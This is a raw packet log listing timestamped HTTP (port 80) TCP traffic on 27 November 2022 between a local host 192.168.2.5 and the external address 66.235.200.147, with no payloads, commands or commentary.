Nov 27, 2022 04:36:43.044883013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044897079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044903040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044920921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044925928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044939995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044940948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044958115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044958115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044975996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.044975996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044996023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.044996023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045013905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045017004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045033932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045037031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045049906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045053005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045073032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045078993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045092106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045093060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045109987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045111895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045130014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045131922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045149088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045150042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045162916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045169115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045186996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045196056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045206070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045214891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045228958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045254946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045331001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045351028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045367956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045401096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045418978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045434952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045439005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045459032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045460939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045478106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045488119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045497894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045500040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045516968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045526028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045536995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045542955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045556068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045562983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045576096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045583010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045597076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045599937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045614958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045618057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045634985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045645952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045653105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045659065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045671940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045679092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045691013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045696974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045710087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045712948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045728922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045734882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045749903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045754910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045768976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045770884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045787096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045789957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045818090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045823097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045836926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045840025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045855045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045867920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045874119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045881987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045892000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045895100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045911074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045916080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045928955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045934916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045947075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045948982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045965910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045969963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.045983076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.045983076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046001911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.046003103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046019077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.046030045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046036959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.046045065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046055079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.046056986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046073914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.046076059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046092987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.046094894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.046118975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.048295975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063230038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063256025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063277006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063297033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063314915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063333988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063352108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063374043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063393116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063410044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063427925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063446999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063463926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063481092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063498974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063517094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063533068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063550949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063568115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063585997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063605070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063622952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063641071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063657999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063676119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063694000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063711882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063730955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063747883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063752890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063766956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063786030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063803911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063819885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063834906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063839912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063846111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063860893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063870907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063880920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063899040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063899994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063920975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063925982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063940048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063957930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063970089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063970089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.063977957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.063998938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064011097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064018011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064038992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064044952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064059973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064074039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064080000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064106941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064117908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064135075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064152002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064160109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064172029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064173937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064189911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064204931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064210892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064230919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064238071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064249992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064268112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064276934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064285994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064304113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064307928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064323902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064342022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064347982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064379930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064384937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064404011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064414024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064429045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064429045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064450026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064455032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064471006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064477921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064497948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064503908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064522028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064527988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064553022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064557076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064577103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064578056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064591885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064601898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064620972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064626932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064646959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064651012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064673901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064696074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064697027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064721107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064722061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064747095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064749956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064769983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064773083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064788103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064796925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064812899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064821959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064836979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064862013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064862967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064888000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064903975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064912081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064932108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064938068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064955950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064963102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.064980984 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.064986944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065001011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065011024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065022945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065036058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065058947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065059900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065083027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065085888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065107107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065109968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065119982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065133095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065150976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065155983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065172911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065181971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065196991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065206051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065221071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065229893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065243006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065257072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065268040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065279961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065299034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065304995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065320015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065329075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065341949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065352917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065367937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065377951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065392971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065402031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065417051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065424919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065440893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065448999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065462112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065473080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065485954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065496922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065511942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065520048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065543890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065561056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065567970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065589905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065591097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065613031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065618038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065637112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065638065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065659046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065660000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065674067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065685034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065696955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065707922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065722942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065732002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065751076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065757036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065772057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065782070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065794945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065807104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065830946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065830946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065855026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065860033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065879107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065880060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065896988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065903902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065921068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065928936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065948009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065954924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.065975904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.065979004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066001892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066003084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066024065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066030025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066037893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066054106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066076994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066077948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066098928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066104889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066123009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066123962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066144943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066157103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066180944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.066180944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066205978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.066205978 CET	49705	80	192.168.2.5	66.235.200.147
